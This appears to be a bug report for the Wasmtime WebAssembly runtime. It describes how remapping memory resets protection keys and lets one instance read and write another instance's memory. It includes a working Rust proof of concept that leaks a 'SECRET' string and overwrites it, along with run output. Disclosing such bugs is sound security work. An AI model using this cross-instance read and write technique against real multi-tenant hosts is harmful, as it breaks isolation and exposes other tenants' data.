Turns out applying a new mmap to a region will reset protection keys allocated to a region of memory. This means that CoW mappings when combined with MPK mean that it's possible to read data across instances:
use wasmtime::Result;
use wasmtime::*;
fn main() -> Result<()> {
let mut pool = PoolingAllocationConfig::new();
pool.memory_protection_keys(Enabled::Yes);
pool.max_memory_size(1 << 20);
pool.total_memories(64);
pool.total_tables(64);
pool.total_core_instances(64);
let mut config = Config::new();
config.allocation_strategy(InstanceAllocationStrategy::Pooling(pool));
let engine = Engine::new(&config)?;
let ma = Module::new(
&engine,
r#"(module (memory (export "m") 1) (data (i32.const 0) "SECRET"))"#,
)?;
let mb = Module::new(
&engine,
r#"(module (memory (export "m") 1)
(func (export "load") (param i32) (result i32) local.get 0 i32.load)
(func (export "store") (param i32 i32) local.get 0 local.get 1 i32.store))"#,
)?;
let mut a = Store::new(&engine, ());
let mut b = Store::new(&engine, ());
let ia = Instance::new(&mut a, &mb, &[])?;
let ib = Instance::new(&mut b, &ma, &[])?;
let ma = ia.get_memory(&mut a, "m").unwrap();
let mb = ib.get_memory(&mut b, "m").unwrap();
let off = u32::try_from(mb.data_ptr(&b) as usize - ma.data_ptr(&a) as usize).unwrap() as i32;
println!("ma memory sits at +{off:#x} from the mb's memory");
let load = ia.get_typed_func::<i32, i32>(&mut a, "load")?;
let store = ia.get_typed_func::<(i32, i32), ()>(&mut a, "store")?;
if let Ok(v) = load.call(&mut a, off) {
println!(
"erroneously able to read {:?}",
String::from_utf8_lossy(&v.to_le_bytes())
);
}
if store.call(&mut a, (off, 0x41414141)).is_ok() {
println!("cross-instance store succeeded {:?}", &mb.data(&b)[..11]);
}
Ok(())
}
runs as:
$ cargo run
Finished `dev` profile [unoptimized + debuginfo] target(s) in 0.05s
Running `target/debug/minimal`
ma memory sits at +0x11334000 from the mb's memory
erroneously able to read "SECR"
cross-instance store succeeded [65, 65, 65, 65, 69, 84, 0, 0, 0, 0, 0]
Note that MPK is already documented as possibly buggy, and this is an example of a bug
Turns out applying a new
mmapto a region will reset protection keys allocated to a region of memory. This means that CoW mappings when combined with MPK mean that it's possible to read data across instances:runs as:
Note that MPK is already documented as possibly buggy, and this is an example of a bug